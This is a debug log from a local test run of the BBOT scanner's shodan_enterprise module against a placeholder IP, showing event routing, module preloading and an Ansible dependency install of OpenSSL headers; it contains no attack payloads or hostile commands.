18:11:35,383 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 18:11:35,484 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-02-27 18:11:35,484 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 18:11:35,485 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 18:11:35,485 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:11:35,486 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:11:35,487 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:35,487 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:11:35,488 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:11:35,489 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:35,490 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:11:35,491 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:35,492 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:11:35,493 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:35,494 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:11:35,495 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:11:35,497 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:11:35,498 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:11:35,498 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:11:35,499 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:11:35,499 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 18:11:35,584 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:11:35,585 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:11:35,585 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 18:11:35,586 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:11:35,586 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:11:35,587 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:11:35,588 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:11:35,588 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:11:35,588 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:11:35,588 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:11:35,688 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:11:35,689 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:11:35,705 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:11:35,705 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:11:35,706 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:11:35,712 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:11:35,713 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:11:35,714 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:11:35,715 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:11:35,715 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:11:35,716 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:11:35,830 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_krx0h9sjry completed in 0 seconds with status FINISHED +2026-02-27 18:11:35,830 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:11:35,832 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:11:35,833 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:11:35,833 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:41:18,396 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:41:18,409 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:41:18,410 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:41:18,411 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:41:18,412 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:41:18,414 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:41:18,415 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:41:18,416 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:41:18,417 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:41:18,418 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:41:18,419 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:41:18,420 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:41:18,421 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:41:18,422 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:41:18,423 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:41:18,423 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:41:18,425 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:41:18,425 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:41:18,426 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:41:18,427 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:41:18,429 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:41:18,430 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:41:18,430 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:41:18,431 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:41:18,432 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:41:18,433 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:41:18,434 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:41:18,434 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:41:18,435 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:41:18,435 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:41:18,436 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:41:18,437 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:41:18,437 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:41:18,438 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:41:18,442 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:41:18,443 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:41:18,444 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:41:18,445 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:41:18,446 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:41:18,446 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:41:18,447 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:41:18,448 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:41:18,448 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:41:18,449 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:41:18,450 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:41:18,450 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:41:18,451 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:41:18,452 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:41:18,452 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:41:18,453 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:41:18,454 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:41:18,454 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:41:18,455 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:41:18,455 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:41:18,456 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:41:18,457 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:41:18,458 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:41:18,458 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:41:18,459 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:41:18,459 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:41:18,466 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:41:18,467 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:41:18,468 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:41:18,468 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:41:18,469 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:41:18,470 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:41:18,471 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:41:18,472 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:41:18,472 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:41:18,473 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:41:18,474 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:41:18,475 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:41:18,476 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:41:18,476 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:41:18,477 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:41:18,478 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:41:18,479 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:41:18,479 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:41:18,480 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:41:18,480 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:41:18,481 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:41:18,481 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:41:18,482 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:41:18,482 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:41:18,483 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:41:18,484 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:41:18,484 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:41:18,486 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:41:18,486 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:41:18,487 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:41:18,488 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:41:18,488 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:41:18,489 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:41:18,489 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:41:18,490 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:41:18,491 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:41:18,492 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:41:18,492 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:41:18,493 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:41:18,494 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:41:18,494 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:41:18,495 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:41:18,496 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:41:18,496 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:41:18,497 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:41:18,497 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:41:18,498 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:41:18,498 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:41:18,499 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:41:18,500 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:41:18,500 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:41:18,500 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:41:18,501 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:41:18,502 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:41:18,503 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:41:18,503 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:41:18,504 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:41:18,505 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:41:18,505 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:41:18,506 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:41:18,506 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:41:18,507 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:41:18,508 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:41:18,509 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:41:18,509 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:41:18,510 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:41:18,510 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:41:18,511 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:41:18,512 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:41:18,512 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:41:18,513 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:41:18,513 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:41:18,514 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:41:18,514 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:41:18,515 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:41:18,516 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:41:18,516 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:41:18,517 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:41:18,517 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:41:18,518 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:41:18,519 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:41:18,520 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:41:18,520 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:41:18,521 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:41:18,521 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:41:18,523 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:41:18,523 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:41:18,524 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:41:18,525 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:41:18,527 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:41:18,527 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:41:18,531 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:41:18,532 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:41:18,534 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:41:18,535 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:41:18,537 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:41:18,537 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:41:18,539 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:41:18,540 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:41:18,541 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:41:18,541 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:41:18,542 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:41:18,543 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:41:18,544 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:41:18,545 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:41:18,546 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:41:18,546 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:41:18,547 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:41:18,547 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:41:18,548 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:41:19,972 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:41:19,972 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:41:19,973 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:41:20,112 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:41:20,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:41:20,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:41:20,676 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:41:20,677 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:41:20,897 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:41:20,898 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:41:21,014 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:41:21,014 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:41:21,070 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:41:21,077 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:41:21,078 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:41:21,823 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:41:21,823 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:41:25,348 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:41:25,349 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:41:25,349 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:41:27,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:41:27,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:41:27,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:41:27,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for 